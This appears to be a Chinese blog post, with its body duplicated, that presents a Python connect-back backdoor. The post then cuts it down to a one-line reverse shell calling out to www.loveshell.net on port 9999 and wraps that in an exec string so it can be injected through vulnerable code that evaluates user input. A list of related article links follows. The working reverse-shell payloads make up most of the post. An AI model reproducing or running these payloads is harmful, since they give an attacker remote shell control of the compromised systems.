在漏洞利用Python代码真的很爽
2023-06-13 09:13:57 时间
不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "Python Connect-back Backdoor"
print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "Date: July 15th 2006\n"
print "Usage: %s <conn_back_host> <port>\n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------\n")
s.send("----------------------------- By wofeiwo -----------------------------\n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");
如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec "import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");";
注意是\\r\\n哦,即使在""里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句
eval语句用来计算存储在字符串中的有效Python表达式
呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "Python Connect-back Backdoor"
print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "Date: July 15th 2006\n"
print "Usage: %s <conn_back_host> <port>\n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------\n")
s.send("----------------------------- By wofeiwo -----------------------------\n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");
如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec "import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");";
注意是\\r\\n哦,即使在""里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句
eval语句用来计算存储在字符串中的有效Python表达式
呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......
相关文章
- python skitlearn_Python sklearn
- Python常用代码_python画图代码大全
- Python自学教程5-字符串有哪些常用操作
- python移动app开发_神奇的Kivy,让Python快速开发移动app
- 视频识别车牌号(Python)
- 手机python 3.8解释器_Python 3.8 解释器安装教程
- flask session 安全问题 和 python 格式化字符串漏洞
- python pkl文件_Python字符串格式化输出的方式包括
- python 分布式爬虫
- Python:利用python代码编程实现将视频的avi格式转换为MP4格式
- python上的表白代码_用Python实现表白代码
- python中copy.deepcopy_Python eval
- 下列python语句的输出结果是print_下列 Python语句的输出结果是「建议收藏」
- Python面向对象编程-生成器示例
- python-Python与MongoDB数据库-使用Python执行MongoDB查询(一)
- PostgreSQL连接python,postgresql在python 连接,创建表,创建表内容,插入操作,选择操作,更新操作,删除操作。详解数据库
- python 与rabbitmq详解编程语言
- Linux下安装Python的指南(linux下安装python)
- 掌握Linux环境下的Python编程(linux执行python)
- python学习Linux、Python,体验自由的乐趣(lexlinux)
- Python实现Oracle数据库连接(python连接oracle数据库)
- Python社区流行工具pip安装redis模块(pipredis)